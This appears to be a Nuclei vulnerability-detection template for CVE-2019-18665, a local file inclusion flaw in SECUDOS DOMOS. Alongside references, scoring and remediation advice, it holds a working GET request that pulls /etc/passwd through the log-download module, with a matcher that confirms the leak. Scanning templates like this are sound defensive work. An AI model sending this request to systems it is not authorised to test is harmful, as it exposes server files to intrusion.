id: CVE-2019-18665

info:
  name: DOMOS 5.5 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    SECUDOS DOMOS before 5.6 allows local file inclusion via the log module.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest patch or update to a version that is not affected by this vulnerability.
  reference:
    - https://atomic111.github.io/article/secudos-domos-directory_traversal
    - https://vuldb.com/?id.144804
    - https://www.secudos.de/news-und-events/aktuelle-news/domos-release-5-6
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18665
    - https://www.cybersecurity-help.cz/vdb/SB2019110403
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18665
    cwe-id: CWE-22
    epss-score: 0.08504
    epss-percentile: 0.93861
    cpe: cpe:2.3:a:secudos:domos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: secudos
    product: domos
  tags: cve,cve2019,domos,lfi,secudos

http:
  - method: GET
    path:
      - "{{BaseURL}}/page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022015f1b3814901f4c39a08733e9928360f974106055d5719438e2bd0312cd9bc7f02210087188a505c73561b764486813299ed15fe0e6d96d80acefe4c07f02dbb26e82d:922c64590222798bb761d5b6d8e72950